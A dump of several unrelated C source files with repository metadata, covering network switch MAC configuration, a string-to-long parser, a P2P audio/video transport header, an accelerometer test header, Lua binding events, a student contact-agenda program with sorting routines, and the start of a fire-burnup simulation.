mvHwsXlgMacLoopbackCfg; funcPtrArray[XLGMAC].macTypeGetFunc = mvHwsMacTypeGet; #ifndef CO_CPU_RUN funcPtrArray[XLGMAC].macLbStatusGetFunc = mvHwsXlgMacLoopbackStatusGet; funcPtrArray[XLGMAC].macActiveStatusFunc = mvHwsXlgMacActiveStatusGet; #endif funcPtrArray[XLGMAC].macFcStateCfgFunc = NULL; /* specific function */ funcPtrArray[XLGMAC].macModeCfgFunc = mvHwsXlgMacRev2ModeCfg; return GT_OK; } /** * @internal mvHwsXlgMacRev2ModeCfg function * @endinternal * * @brief Set the internal mux's to the required MAC in the GOP. * * @param[in] devNum - system device number * @param[in] portGroup - port group (core) number * @param[in] portMacNum - MAC number * @param[in] portMode - port mode * * @retval 0 - on success * @retval 1 - on error */ GT_STATUS mvHwsXlgMacRev2ModeCfg ( GT_U8 devNum, GT_U32 portGroup, GT_U32 portMacNum, MV_HWS_PORT_STANDARD portMode ) { MV_HWS_PORT_INIT_PARAMS curPortParams; MV_CFG_SEQ *seq; GT_U32 accessAddr; GT_U32 baseAddr; GT_U32 unitIndex, i; if (GT_OK != hwsPortModeParamsGetToBuffer(devNum, portGroup, portMacNum, portMode, &curPortParams)) { CPSS_LOG_ERROR_AND_RETURN_MAC(GT_BAD_PARAM, LOG_ERROR_NO_MSG); } CHECK_STATUS(mvUnitInfoGet(devNum, XLGMAC_UNIT, &baseAddr, &unitIndex)); switch(curPortParams.numOfActLanes) { case 1: seq = &hwsXlgMacSeqDb[XLGMAC_MODE_1_Lane_SEQ]; accessAddr = baseAddr + MACRO_CONTROL + 8 * unitIndex; if (curPortParams.portMacNumber == 12) { CHECK_STATUS(hwsRegisterSetFuncPtr(devNum, portGroup, accessAddr, (1 << 5), (1 << 5))); } if (curPortParams.portMacNumber == 14) { CHECK_STATUS(hwsRegisterSetFuncPtr(devNum, portGroup, accessAddr, (1 << 7), (1 << 7))); } /*Rx XLG to RxDMA interface is 64 bits wide.*/ accessAddr = baseAddr + MSM_PORT_MAC_CONTROL_REGISTER4 + curPortParams.portMacNumber * unitIndex; CHECK_STATUS(hwsRegisterSetFuncPtr(devNum, portGroup, accessAddr, (1 << 9), (1 << 9))); break; case 2: seq = &hwsXlgMacSeqDb[XLGMAC_MODE_2_Lane_SEQ]; accessAddr = baseAddr + MACRO_CONTROL + 8 * unitIndex; if (curPortParams.portMacNumber == 12) { CHECK_STATUS(hwsRegisterSetFuncPtr(devNum, portGroup, accessAddr, (1 << 5), (1 << 5))); } if (curPortParams.portMacNumber == 14) { CHECK_STATUS(hwsRegisterSetFuncPtr(devNum, portGroup, accessAddr, (1 << 7), (1 << 7))); } /*Rx XLG to RxDMA interface is 64 bits wide.*/ accessAddr = baseAddr + MSM_PORT_MAC_CONTROL_REGISTER4 + curPortParams.portMacNumber * unitIndex; CHECK_STATUS(hwsRegisterSetFuncPtr(devNum, portGroup, accessAddr, (1 << 9), (1 << 9))); break; case 4: seq = &hwsXlgMacSeqDb[XLGMAC_MODE_4_Lane_SEQ]; accessAddr = baseAddr + MACRO_CONTROL + 8 * unitIndex; if (curPortParams.portMacNumber == 12) { CHECK_STATUS(hwsRegisterSetFuncPtr(devNum, portGroup, accessAddr, (1 << 5), (1 << 5))); } /*Rx XLG to RxDMA interface is 256 bits wide.*/ accessAddr = baseAddr + MSM_PORT_MAC_CONTROL_REGISTER4 + curPortParams.portMacNumber * unitIndex; CHECK_STATUS(hwsRegisterSetFuncPtr(devNum, portGroup, accessAddr, 0, (1 << 9))); break; default: return GT_BAD_PARAM; break; } CHECK_STATUS(mvCfgSeqExec(devNum, portGroup, curPortParams.portMacNumber, seq->cfgSeq, seq->cfgSeqSize)); /* keep in reset all unused MACs */ for (i = 1; (i < curPortParams.numOfActLanes); i++) { if ((curPortParams.portMacNumber+i) < 12) { /* 0x010C0000 + 0x1000*p: where p (16-19) represents fabric port 0x010C0000 + 0x1000*p: where p (0-11) represents network port */ accessAddr = baseAddr + MSM_PORT_MAC_CONTROL_REGISTER0 + (curPortParams.portMacNumber+i) * unitIndex; CHECK_STATUS(hwsRegisterSetFuncPtr(devNum, portGroup, accessAddr, 0, (1 << 1))); } } return GT_OK; }
fedd3dadb291b18f3146071543712307580f6aae
394c3c708996c5615c5d65b45b29ff90163fb4bf
/ft_atol.c
b7cb083470a46863373ce0becf51e7c479fedb2a
[]
no_license
alexgeshelin/push_swap
d6d4df8fcd38cd71b2cd6fc63b3ef61598fcd651
304285989230884040b8ee7279d92a8c06365ff2
refs/heads/master
2021-08-18T18:52:37.255791
2017-11-23T15:24:08
2017-11-23T15:24:08
107,413,266
0
0
null
null
null
null
UTF-8
C
false
false
1,458
c
ft_atol.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_atol.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: ohesheli <marvin@42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2017/03/15 14:49:21 by ohesheli #+# #+# */ /* Updated: 2017/03/15 14:55:26 by ohesheli ### ########.fr */ /* */ /* ************************************************************************** */ long ft_atol(char const *str) { int count; long sign; long res; sign = 1; count = 0; res = 0; while (str[count] == ' ' || str[count] == 10 || str[count] == 11\ || str[count] == 12 || str[count] == 13 || str[count] == 9) count++; if (str[count] == '+' && str[count + 1] >= '0' && str[count + 1] <= '9') count++; else if (str[count] == '-' && str[count + 1] >= '0' && str[count + 1] <= '9') { sign = -1; count++; } while (str[count] >= '0' && str[count] <= '9') { res = res * 10 + str[count] - '0'; count++; } return (sign * res); }
704ad94fde46dbe1eafb5fe480e206550f2675e6
ba67254986a5c071b227e6722a80f681deddf946
/Desktop/git/ULife3.5/NetPro/NetProSDK/p2psdk/include/gss_transport.h
b946f673d6f7410750bd4049d6198a6f03ae31c7
[]
no_license
wzq0227/SDK_NEW
c5f6c2f0c562868d5a59389baeb1ad46efb7800f
8f6d0ed84fc18251431b3c6e59f46314bd0e6ff2
refs/heads/master
2020-05-07T08:42:38.862415
2019-04-09T10:10:09
2019-04-09T10:10:09
180,339,243
0
1
null
null
null
null
UTF-8
C
false
false
7,498
h
gss_transport.h
#ifndef __GSS_TRANSPORT_H__ #define __GSS_TRANSPORT_H__ #ifdef __cplusplus extern "C" { #endif #include "p2p_transport.h" //device main connection callback typedef struct gss_dev_main_cb { //connect server result, status is 0 ok void (*on_connect_result)(void *transport, void* user_data, int status); //disconnect from server, status is error code void (*on_disconnect)(void *transport, void* user_data, int status); //on accept client signaling connection void (*on_accept_signaling_client)(void *transport, void* user_data, unsigned short client_conn); //on client signaling connection disconnect void (*on_disconnect_signaling_client)(void *transport, void* user_data, unsigned short client_conn); //on accept client audio and video stream connection void (*on_recv_av_request)(void *transport, void* user_data, unsigned int client_conn); //receive data of signaling connection, arg 3 client_conn is on_accept_signaling_client of on_accept_client void (*on_recv)(void *transport, void *user_data, unsigned short client_conn, char* data, int len); }gss_dev_main_cb; //device main connection config typedef struct gss_dev_main_cfg { char* server; unsigned short port; char* uid; void *user_data; gss_dev_main_cb *cb; }gss_dev_main_cfg; //device main connection connect server P2P_DECL(int) gss_dev_main_connect(gss_dev_main_cfg* cfg, void** transport); //send data to client, client_conn is gss_dev_main_cb.on_accept_signaling_client third argument P2P_DECL(int) gss_dev_main_send(void *transport, unsigned short client_conn, char* buf, int buffer_len, p2p_send_model model); //destroy device main connection P2P_DECL(void) gss_dev_main_destroy(void* transport); //device audio and video connection callback typedef struct gss_dev_av_cb { //connect server result, status is 0 ok void (*on_connect_result)(void *transport, void* user_data, int status); //disconnect from server, status is error code void (*on_disconnect)(void *transport, void* user_data, int status); //receive client audio and video response data void (*on_recv)(void *transport, void *user_data, char* data, int len); //client audio and video connection disconnect from server void (*on_client_disconnect)(void *transport, void *user_data); }gss_dev_av_cb; //device audio and video connection config typedef struct gss_dev_av_cfg { char* server; unsigned short port; char* uid; void *user_data; unsigned int client_conn; //gss_dev_main_cb.on_recv_av_request third argument gss_dev_av_cb *cb; }gss_dev_av_cfg; P2P_DECL(int) gss_dev_av_connect(gss_dev_av_cfg* cfg, void** transport); //send audio and video data to client typedef enum GSS_DATA_TYPE { GSS_COMMON_DATA, GSS_REALPLAY_DATA, }GSS_DATA_TYPE; P2P_DECL(int) gss_dev_av_send(void *transport, char* buf, int buffer_len, p2p_send_model model, int type); //clean all send buffer data P2P_DECL(void) gss_dev_av_clean_buf(void* transport); //destroy device audio and video stream connection P2P_DECL(void) gss_dev_av_destroy(void* transport); #define RTMP_EVENT_CONNECT_SUCCESS (0) #define RTMP_EVENT_CONNECT_FAIL (1) #define RTMP_EVENT_DISCONNECT (2) //device push audio and video connection callback typedef struct gss_dev_push_cb { //connect server result, status is 0 ok void (*on_connect_result)(void *transport, void* user_data, int status); //disconnect from server, status is error code void (*on_disconnect)(void *transport, void* user_data, int status); void (*on_rtmp_event)(void *transport, void* user_data, int event); void (*on_pull_count_changed)(void *transport, void* user_data, unsigned int count); }gss_dev_push_cb; //device push connection config typedef struct gss_dev_push_conn_cfg { char* server; unsigned short port; char* uid; void *user_data; gss_dev_push_cb *cb; }gss_dev_push_conn_cfg; //device push audio and video stream connection connect server P2P_DECL(int) gss_dev_push_connect(gss_dev_push_conn_cfg* cfg, void** transport); #define GSS_VIDEO_DATA 0 #define GSS_AUDIO_DATA 1 #define GSS_CUSTOM_DATA (128) //custom data type #define GSS_CUSTOM_MAX_DATA (GSS_CUSTOM_DATA+32) //max custom data type //send audio and video response data to server ///type 0 video, 1 audio, 128-160 custom data type // is_key : frame is key frame P2P_DECL(int) gss_dev_push_send(void *transport, char* buf, int buffer_len, unsigned char type, unsigned int time_stamp, char is_key, p2p_send_model model); //send custom data, p2p library do not add data header, direct send to peer P2P_DECL(int) gss_dev_push_send_custom(void *transport, char* buf, int buffer_len); //push audio and video to third rtmp server P2P_DECL(int) gss_dev_push_rtmp(void *transport, char* url); //destroy device push audio and video stream connection P2P_DECL(void) gss_dev_push_destroy(void* transport); //client connection callback typedef struct gss_client_conn_cb { //connect device result, status is 0 ok void (*on_connect_result)(void *transport, void* user_data, int status); //disconnect from server, status is error code void (*on_disconnect)(void *transport, void* user_data, int status); //receive device data void (*on_recv)(void *transport, void *user_data, char* data, int len); //device disconnect from server void (*on_device_disconnect)(void *transport, void *user_data); }gss_client_conn_cb; typedef struct gss_pull_conn_cb { //connect device result, status is 0 ok void (*on_connect_result)(void *transport, void* user_data, int status); //disconnect from server, status is error code void (*on_disconnect)(void *transport, void* user_data, int status); //receive device data //type 0 video, 1 audio void (*on_recv)(void *transport, void *user_data, char* data, int len, char type, unsigned int time_stamp); //device disconnect from server void (*on_device_disconnect)(void *transport, void *user_data); }gss_pull_conn_cb; //client connection config typedef struct gss_client_conn_cfg { char* server; unsigned short port; char* uid; void *user_data; gss_client_conn_cb *cb; }gss_client_conn_cfg; //client connection config typedef struct gss_pull_conn_cfg { char* server; unsigned short port; char* uid; void *user_data; gss_pull_conn_cb *cb; }gss_pull_conn_cfg; //client signaling connection connect server P2P_DECL(int) gss_client_signaling_connect(gss_client_conn_cfg* cfg, void** transport); //send data to device P2P_DECL(int) gss_client_signaling_send(void *transport, char* buf, int buffer_len, p2p_send_model model); //destroy client signaling connection P2P_DECL(void) gss_client_signaling_destroy(void* transport); //client audio and video stream connection connect server P2P_DECL(int) gss_client_av_connect(gss_client_conn_cfg* cfg, void** transport); //send audio and video response data to device P2P_DECL(int) gss_client_av_send(void *transport, char* buf, int buffer_len, p2p_send_model model); //destroy client audio and video stream connection P2P_DECL(void) gss_client_av_destroy(void* transport); //clean all buffer data P2P_DECL(void) gss_client_av_clean_buf(void* transport); //pause receive device data P2P_DECL(void) gss_client_av_pause_recv(void* transport, int is_pause); //client audio and video pull stream connection connect server P2P_DECL(int) gss_client_pull_connect(gss_pull_conn_cfg* cfg, void** transport); //destroy client audio and video pull stream connection P2P_DECL(void) gss_client_pull_destroy(void* transport); #ifdef __cplusplus /*extern "C"*/ } #endif #endif /* __GSS_TRANSPORT_H__ */
7a7d0b2f87775d2a09da7b90aa8cf9f7319766d8
2114db79e26bd45fe3fd28fb9e42399e392fca74
/PmodLibArchive/PmodLibDevTest/TestHarness/PmodACL/pmodACL_test_driver.h
fa94addda0531abba7bce9c432559f7395a25f9b
[]
no_license
duttondj/Digilent-PMOD-driver-libraries
67f230126e64bbf6a5ec7ee634eb38fd893ca6c1
d6ae2226e88fd9bb72282b7467a9b9dcf91ae281
refs/heads/master
2021-01-17T23:01:58.213878
2011-12-19T03:13:16
2011-12-19T03:13:16
null
0
0
null
null
null
null
UTF-8
C
false
false
3,600
h
pmodACL_test_driver.h
/************************************************************************/ /* pmodACL_test_driver.h -- pmodACL test driver hesder file */ /* */ /************************************************************************/ /* Author: Ryan Hoffman */ /* Copyright (C) 2011 Ryan Hoffman */ /************************************************************************/ /* Module Description: */ /* pmodACL_test_driver header file */ /* */ /************************************************************************/ /* Revision History: */ /* */ /* <11/14/11>(Ryan H): Initial Release */ /* */ /************************************************************************/ #ifndef _PMODACL_TEST_DRIVER_H_ #define _PMODACL_TEST_DRIVER_H_ /* ------------------------------------------------------------ */ /* Include File Definitions */ /* ------------------------------------------------------------ */ #include <plib.h> #include <stdint.h> #include <string.h> /* ------------------------------------------------------------ */ /* Local Type Definitions */ /* ------------------------------------------------------------ */ #define SYSTEM_CLOCK 80000000L //system clock speed (8 MHz Crystal/ FPLLIDIV * FPLLMUL / FPLLODIV) #define PB_DIV 8 #define PRESCALE 256 #define TOGGLES_PER_SEC 2000 #define PB_CLOCK (SYSTEM_CLOCK/PB_DIV) //peripheral bus clock #define T1_TICK (SYSTEM_CLOCK/PB_DIV/PRESCALE/TOGGLES_PER_SEC) #define SPI_BITRATE 625000 //bit rate for SPI port /* ------------------------------------------------------------ */ /* Local Variables */ /* ------------------------------------------------------------ */ uint8_t isrFired; SpiChannel chn; /* ------------------------------------------------------------ */ /* Forward Declarations */ /* ------------------------------------------------------------ */ void fnPmodACL_INIT(UART_MODULE uartID); void fnSetupPmodACLForInterruptsInt1(uint8_t interruptMask,uint8_t tapAxes,uint8_t fifoCtl); uint8_t UNIT_PmodACLGetDeviceID(UART_MODULE uartID); uint8_t UNIT_PmodACLGetAxisData(UART_MODULE uartID); uint8_t UNIT_PmodACLGetAxisData(UART_MODULE uartID); uint8_t UNIT_PmodACLCalibrate(UART_MODULE uartID); uint8_t UNIT_PmodACLSetGetThreshTap(UART_MODULE uartID); uint8_t UNIT_PmodACLInterupt(UART_MODULE uartID); uint8_t UNIT_PmodACLSetGetDataFormat(UART_MODULE uartID); uint8_t UNIT_PmodACLSetGetPowerCtl(UART_MODULE uartID); uint8_t UNIT_PmodACLGSetGetFIFOCtl(UART_MODULE uartID); uint8_t UNIT_PmodACLSetGetOffset(UART_MODULE uartID); uint8_t UNIT_PmodACLSetGetIntEnable(UART_MODULE uartID); uint8_t UNIT_PmodACLSetGetIntMap(UART_MODULE uartID); uint8_t UNIT_PmodACLSetGetIntSource(UART_MODULE uartID); uint8_t UNIT_PmodACLSetGetTapAxes(UART_MODULE uartID); uint8_t UNIT_PmodACLSetGetTapDuration(UART_MODULE uartID); uint8_t UNIT_PmodACLSetGetTapLatency(UART_MODULE uartID); uint8_t UNIT_PmodACLSetGetTapWindow(UART_MODULE uartID); uint8_t UNIT_PmodACLGetActTapStatus(UART_MODULE uartID); uint8_t UNIT_PmodACLSetGetThreshFF(UART_MODULE uartID); uint8_t UNIT_PmodACLSetGetBwRate(UART_MODULE uartID); uint8_t UNIT_PmodACLGetFIFOStatus(UART_MODULE uartID); uint8_t UNIT_PmodACLSetGetTimeInact(UART_MODULE uartID); uint8_t UNIT_PmodACLSetGetThreshAct(UART_MODULE uartID); uint8_t UNIT_PmodACLSetGetActInactCtl(UART_MODULE uartID); #endif
2c13db86d64c6b1c4fdbdc9a23e4b8e9745dbe9a
c8f6a79bd865371c9b7e6700fc7bec9cd63a2aee
/tolua/tolua_event.c
2a9fe328c75b5524b5e46f7039a8aa3eab798cab
[ "MIT" ]
permissive
iakud/tolua
77ab1d2cfc75d90e19855d83f6944d440a70aa2b
4b899c702cf162b5c34f63b33a9cb7b564ebd6a8
refs/heads/master
2021-12-24T10:43:53.275820
2021-09-26T06:40:13
2021-09-26T06:40:13
48,831,171
3
1
null
null
null
null
UTF-8
C
false
false
1,888
c
tolua_event.c
#include "tolua_event.h" static int class_index_event(lua_State* L) { int type = lua_type(L, 1); if (type == LUA_TUSERDATA) { lua_getfield(L, LUA_REGISTRYINDEX, "tolua_peers"); lua_pushvalue(L, 1); lua_rawget(L, -2); if (lua_istable(L, -1)) { lua_pushvalue(L, 2); lua_rawget(L, -2); if (!lua_isnil(L, -1)) { return 1; } } lua_settop(L, 2); /* Try metatables */ lua_pushvalue(L, 1); while (lua_getmetatable(L, -1)) { lua_remove(L, -2); lua_pushvalue(L, 2); lua_rawget(L, -2); if (!lua_isnil(L, -1)) { return 1; } lua_pop(L, 1); } lua_pushnil(L); return 1; } else if (type == LUA_TTABLE) { lua_pushvalue(L, 1); while (lua_getmetatable(L, -1)) { lua_remove(L, -2); lua_pushvalue(L, 2); lua_rawget(L, -2); if (!lua_isnil(L, -1)) { return 1; } lua_pop(L, 1); } lua_pushnil(L); return 1; } lua_pushnil(L); return 1; } static int class_newindex_event(lua_State* L) { int type = lua_type(L, 1); if (type == LUA_TUSERDATA) { lua_getfield(L, LUA_REGISTRYINDEX, "tolua_peers"); lua_pushvalue(L, 1); lua_rawget(L, -2); if (!lua_istable(L, -1)) { lua_pop(L, 1); lua_newtable(L); lua_pushvalue(L, 1); lua_pushvalue(L, -2); lua_rawset(L, -4); } lua_replace(L, 1); lua_pop(L, 1); lua_rawset(L, 1); } else if (type == LUA_TTABLE) { lua_getmetatable(L, 1); lua_replace(L, 1); lua_rawset(L, 1); } return 0; } void tolua_classevents(lua_State* L) { lua_pushstring(L, "__index"); lua_pushcfunction(L, class_index_event); lua_rawset(L, -3); lua_pushstring(L, "__newindex"); lua_pushcfunction(L, class_newindex_event); lua_rawset(L, -3); } void tolua_collector(lua_State* L, lua_CFunction col) { lua_pushstring(L, "__gc"); lua_pushcfunction(L, col); lua_rawset(L, -3); }
413ec610b6373b342e8745e9df46680adcb5b73f
692afe5d4901609c03393f011acc5241a621a517
/Agenda.c
50df32bad8568f4875925124600752385272530b
[]
no_license
Guga15gu/AED1
2e6d55f2b3b1ee14835f7e5bed2de9d63ee6b11f
67f635b09b5a60987afcd99196c96c67bbf904c7
refs/heads/master
2020-05-01T12:12:55.407433
2019-05-06T16:11:05
2019-05-06T16:11:05
177,460,818
0
0
null
null
null
null
UTF-8
C
false
false
8,302
c
Agenda.c
#include <stdio.h> #include <stdlib.h> #include <string.h> void *pBuffer; int *i,*s, *c, *menu; struct pessoa{ char nome[20]; int idade; int telefone; } pessoa; void realocar(void){ pBuffer = (void*) realloc( pBuffer, *i * sizeof(int) + *s * sizeof(struct pessoa) + *c * sizeof(char) ); if(pBuffer==NULL){ printf("Erro na alocação.\n\n"); exit(1); } i = pBuffer; s = i + 1; c = s + 1; menu = c + 1; } void adicionar(void){ struct pessoa *pessoa1; ++*s; realocar(); pessoa1 = (void *)pBuffer + (*i)* sizeof(int) + sizeof(struct pessoa) * (*s-1); printf("Digite o nome desejado: \n"); scanf("%s", pessoa1->nome); printf("Digite a idade de %s: \n", pessoa1->nome); scanf("%d", &pessoa1->idade); printf("Digite o número de telefone de %s: \n", pessoa1->nome); scanf("%d", &pessoa1->telefone); } int buscar(){ int* count; count = (void*)pBuffer + sizeof(int) * 4 ; struct pessoa * campo; campo = (void *)pBuffer + sizeof(int) * *i; int *a; a = (void*)pBuffer + sizeof(int) * 5 ; void *item; item = (void*)pBuffer + sizeof(int) * 6; //Só falta modificar o código para buscar pelo nome... printf("Por qual campo você deseja buscar? \n1 nome; \n2 idade; \n3 telefone.\n"); scanf("%d", a); int * itemi; //precisei fazer essas gambiarras pro compilador resolver cumprir sua função char * itemc; //precisei fazer essas gambiarras pro compilador resolver cumprir sua função* if(*a==1){ itemc = item; //precisei fazer essas gambiarras pro compilador resolver cumprir sua função** printf("Digite o nome a ser buscado: \n"); scanf("%s", itemc); } else if(*a==2){ itemi = item; //precisei fazer essas gambiarras pro compilador resolver cumprir sua função*** printf("Digite a idade a ser buscada: \n"); scanf("%d", itemi); } else { itemi = item; //precisei fazer essas gambiarras pro compilador resolver cumprir sua função**** printf("Digite o telefone a ser buscado: \n"); scanf("%d", itemi); } for(*count = 0; *count< *s; ++*count){ if(*a==1){ if(itemc == campo->nome){ printf("\nNome: %s\n", campo->nome); printf("Idade: %d\n", campo->idade ); printf("Telefone: %d\n\n", campo->telefone ); return *count; } } else if(*a==2){ if(*itemi == campo->idade ){ printf("\nNome: %s\n", campo->nome); printf("Idade: %d\n", campo->idade ); printf("Telefone: %d\n\n", campo->telefone ); return *count; } } else { if(*itemi == campo->telefone){ printf("\nNome: %s\n", campo->nome); printf("Idade: %d\n", campo->idade ); printf("Telefone: %d\n\n", campo->telefone ); return *count; } } campo = (void *)campo + sizeof(struct pessoa); } printf("\nContato inexistente.\n\n"); return -1; } void apagar(void){ struct pessoa * campo; int* count; count = (void*)pBuffer + sizeof(int) * 4 ; *count = buscar(); campo = (void *)pBuffer + sizeof(int) * *i + sizeof(struct pessoa) * *count; if(*count != -1){ printf("\nExcluindo contato acima...\n"); *s = *s - 1; struct pessoa * aux; aux = campo + 1; for(; *count< *s; ++*count){ strcpy(campo->nome, aux->nome); campo->idade = aux->idade; campo->telefone = aux->telefone; campo = (void *)campo + sizeof(struct pessoa); aux = (void *)aux + sizeof(struct pessoa); } realocar(); printf("\n Sucesso na exclusão;\n"); } } void listar(void){ int* count; count = (void*)pBuffer + sizeof(int) * 4 ; struct pessoa * campo; campo = (void *)pBuffer + sizeof(int) * *i; for(*count = 0; *count< *s; ++*count){ printf("\n"); printf( "Nome: %s\n", campo->nome ); printf("Idade: %d\n", campo->idade ); printf("Telefone: %d\n", campo->telefone ); campo = (void *)campo + sizeof(struct pessoa); } printf("\n"); } void insertionsort(void){ ++*s; realocar(); --*s; int* count; count = (void*)pBuffer + sizeof(int) * 4 ; int *count2; count2 = (void*)pBuffer + sizeof(int) * 5 ; struct pessoa * buffer; buffer = (void *)pBuffer + (*i)* sizeof(int) + sizeof(struct pessoa) * (*s); struct pessoa * campo; campo = (void *)pBuffer + sizeof(int) * *i; for(*count = 1; *count < *s; ++ *count){ *count2 = *count - 1; strcpy(buffer->nome, campo[*count].nome ); buffer->idade = campo[*count].idade; buffer->telefone= campo[*count].telefone; while( (*count2>=0) && (buffer->telefone < campo[*count2].telefone) ){ strcpy(campo[*count2+1].nome, campo[*count2].nome ); campo[*count2+1].idade = campo[*count2].idade; campo[*count2+1].telefone= campo[*count2].telefone; --*count2; } strcpy(campo[*count2+1].nome, buffer->nome ); campo[*count2+1].idade = buffer->idade; campo[*count2+1].telefone = buffer->telefone; } realocar(); } void selectionsort(void){ ++*s; realocar(); --*s; int* count; count = (void*)pBuffer + sizeof(int) * 4 ; int *count2; count2 = (void*)pBuffer + sizeof(int) * 5 ; int *min; min = (void*)pBuffer + sizeof(int) * 6 ; struct pessoa * buffer; buffer = (void *)pBuffer + (*i)* sizeof(int) + sizeof(struct pessoa) * (*s); struct pessoa * campo; campo = (void *)pBuffer + sizeof(int) * *i; for(*count = 0; *count < *s-1; ++ *count){ *min = *count; for(*count2 = *count + 1; *count2 < *s; ++*count2){ if(campo[*count2].telefone < campo[*min].telefone){ *min = *count2; } } if( campo[*min].telefone != campo[*count].telefone ){ strcpy(buffer->nome, campo[*count].nome ); buffer->idade = campo[*count].idade; buffer->telefone= campo[*count].telefone; strcpy(campo[*count].nome, campo[*min].nome ); campo[*count].idade = campo[*min].idade; campo[*count].telefone= campo[*min].telefone; strcpy(campo[*min].nome, buffer->nome ); campo[*min].idade = buffer->idade; campo[*min].telefone= buffer->telefone; } } realocar(); } void bubblesort(void){ ++*s; realocar(); --*s; int* count; count = (void*)pBuffer + sizeof(int) * 4 ; int *count2; count2 = (void*)pBuffer + sizeof(int) * 5 ; struct pessoa * buffer; buffer = (void *)pBuffer + (*i)* sizeof(int) + sizeof(struct pessoa) * (*s); struct pessoa * campo; campo = (void *)pBuffer + sizeof(int) * *i; do{ *count = 0; for(*count2 = 0; *count2 < *s-1; ++*count2){ if(campo[*count2].telefone > campo[*count2 +1].telefone){ strcpy(buffer->nome, campo[*count2].nome ); buffer->idade = campo[*count2].idade; buffer->telefone= campo[*count2].telefone; strcpy(campo[*count2].nome, campo[*count2+1].nome ); campo[*count2].idade = campo[*count2+1].idade; campo[*count2].telefone= campo[*count2+1].telefone; strcpy(campo[*count2+1].nome, buffer->nome ); campo[*count2+1].idade = buffer->idade; campo[*count2+1].telefone= buffer->telefone; *count = 1; } } }while((*count) == 1); realocar(); } int main(){ pBuffer = malloc(sizeof(7 * sizeof(int))); if(pBuffer==NULL){ printf("Erro na alocação.\n\n"); exit(1); } i = pBuffer; s = i + 1; c = s + 1; menu = c + 1; *i = 7; *s = 0; *c = 0; printf("Você deseja: \n 1: Adicionar uma pessoa.\n 2: Excluir uma pessoa.\n 3: Buscar uma pessoa.\n 4: Listar.\n 5: Insertion Sort \n 6: Selection Sort \n 7: Bubble Sort \n 8: sair\n "); scanf("%d", menu); for(int a=0; a<10; ++a){ int t=0; int c = rand() %100; struct pessoa *pessoa1; ++*s; realocar(); pessoa1 = (void *)pBuffer + (*i)* sizeof(int) + sizeof(struct pessoa) * (*s-1); pessoa1->nome[0] = 'a'+ t; ++t; pessoa1->nome[1] = '\0'; pessoa1->idade= c; pessoa1->telefone= c; } while(*menu != 8){ switch (*menu){ case 1: adicionar(); break; case 2: apagar(); break; case 3: buscar(); break; case 4: listar(); break; case 5: insertionsort(); break; case 6: selectionsort(); break; case 7: bubblesort(); break; } printf("Você deseja: \n 1: Adicionar uma pessoa.\n 2: Excluir uma pessoa.\n 3: Buscar uma pessoa.\n 4: Listar.\n 5: Insertion Sort \n 6: Selection Sort \n 7: Bubble Sort \n 8: sair\n "); scanf("%d", menu); } if(*menu == 8){ free(pBuffer); printf("\nFree executado.\n"); } return 0; }
020c27be007f1dd596aef1cd04d0b2e9b0adbf61
82a8e48bc0e33a488c16150ae20421cf9335b4cc
/fire/fofem/src/bur_brn.c
f50c3a55851ca13cf79aa4bd2daf5e2327df78a4
[]
no_license
d-diaz/PyFVS
3b107c2ec59c1ee640645b49d66a34e6ee9dcddc
47b6aefbd7a3707666eea8b319b9153e8686be67
refs/heads/master
2020-04-21T22:42:03.582897
2018-06-22T19:58:46
2018-06-22T19:58:46
169,921,336
1
0
null
2019-02-09T22:38:28
2019-02-09T22:38:28
null
UTF-8
C
false
false
87,230
c
bur_brn.c
// // $Id$ // /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: bur_brn.c Burnup - Actual Simulation * Desc: The actual simulation is done is this module * {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ #include <stdlib.h> #include <stdio.h> #include <math.h> #include <string.h> /* #include <ctype.h> */ #include "fof_gen.h" #include "bur_brn.h" #include "fof_util.h" #include "fof_sgv.h" #include "bur_bov.h" #include "fof_lem.h" #include "win_ccwf.h" /*.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.*/ long ntimes, number; double fi, ti, u, d, tamb, ak, r0, dr, dt, wdf, dfm; double wd0, wg0; double wdry [MAXNO], ash [MAXNO], htval[MAXNO]; double fmois[MAXNO], dendry[MAXNO], sigma[MAXNO]; double cheat[MAXNO], condry[MAXNO], alfa[MAXNO]; double tpig [MAXNO], tchar [MAXNO]; double flit [MAXNO], fout [MAXNO], work[MAXNO]; long key[MAXNO]; /*.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.*/ double elam [MAXNO][MAXNO]; double alone[MAXNO]; double area [MAXNO]; double fint [MAXNO]; double xmat [MAXKL]; double tdry [MAXKL]; double tign [MAXKL]; double tout [MAXKL]; double wo [MAXKL]; double wodot[MAXKL]; double diam [MAXKL]; double ddot [MAXKL]; double qcum [MAXKL]; double tcum [MAXKL]; double acum [MAXKL]; double qdot [MAXKL][MXSTEP]; /*.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.*/ static const double ch2o = 4186.0; static const double tpdry = 353.0; double gd_Fudge1; double gd_Fudge2; d_ES s_ES; /* Emission Structure */ /*.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.*/ /* Min and Max won't port so I but defined and put the functions in here */ double Min (double a, double b); double Max (double a, double b); int _ChkLimM (double d, double low, double hi); /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: BRN_Run * Desc: Run burnup. * In: cr_LoadFN.........name of output Post Load (remaining load) * if empty string then no file will be created * cr_EmisFN........name of output Emissions File, if the is an empty * string then no file will be created. * f_DufConPerCent..Percent of Duff Consumed * Send in as a whole number 0 -> 100 * NOTE: send in a -1 and this will calc duff the * old way with a defualt * f_ConHSFB........total Tons Per Acre consumed of Herb, Shrub, * Foliage and Crown Branch, * NOTE: send in 0 when running from a 'user' input * file, because there is no calculated 